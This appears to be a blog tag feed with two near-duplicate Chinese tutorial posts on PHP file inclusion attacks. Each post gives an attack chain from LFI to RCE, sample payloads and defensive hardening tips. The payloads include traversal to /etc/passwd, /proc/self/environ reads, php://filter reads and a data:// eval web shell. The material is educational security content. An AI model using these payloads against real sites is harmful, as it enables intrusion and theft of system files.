https://souljian.cn/tags/lfi/Recent content in LFI on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088177/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088177/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>文件包含攻击只在授权测试环境进行。</p> <h2 id="一文件包含攻击链">一、文件包含攻击链 </h2><img src="https://souljian.cn/img/ssi-inclusion-chain.svg" alt="文件包含攻击链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① LFI 读文件 → ② 写日志/环境变量 → ③ 包含日志 → ④ PHP stream → ⑤ RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="二利用方式">二、利用方式 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">LFI：读取 /etc/passwd / /proc/self/environ </span></span><span class="line"><span class="cl">RFI：远程包含 → 执行远程 WebShell </span></span><span class="line"><span class="cl">FFI：文件包含 → 文件上传组合 → RCE </span></span><span class="line"><span class="cl">PHP stream：php://filter/base64-decode/ </span></span><span class="line"><span class="cl">data://text/plain,&lt;?php eval($_POST[1])?&gt; </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御加固">三、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">禁止动态文件包含 · 使用白名单 </span></span><span class="line"><span class="cl">disable_functions 禁用敏感函数 </span></span><span class="line"><span class="cl">WAF 规则拦截 ../ 等路径 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>文件包含的核心是<strong>用户可控文件路径被包含执行</strong>。LFI 读文件 → 写日志 → 包含日志 = RCE。防御核心是<strong>禁止动态包含</strong>。</p>https://souljian.cn/p/751088228/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088228/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>文件包含测试只在授权测试环境进行。</p> <h2 id="一文件包含攻击链">一、文件包含攻击链 </h2><img src="https://souljian.cn/img/ssi-inclusion-chain.svg" alt="文件包含攻击链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① LFI 读文件 → ② 写日志/环境变量 → ③ 包含日志 → ④ PHP stream → ⑤ RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="二利用方式">二、利用方式 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">LFI：../../etc/passwd </span></span><span class="line"><span class="cl">PHP stream：php://filter/convert.base64-encode/resource=file </span></span><span class="line"><span class="cl">data://text/plain,&lt;?php phpinfo()?&gt; </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御加固">三、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">禁止动态包含 · disable_functions · WAF 规则 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>文件包含的核心是<strong>用户可控文件路径被包含执行</strong>。LFI + 日志包含 = RCE。防御核心是<strong>禁止动态包含</strong>。</p>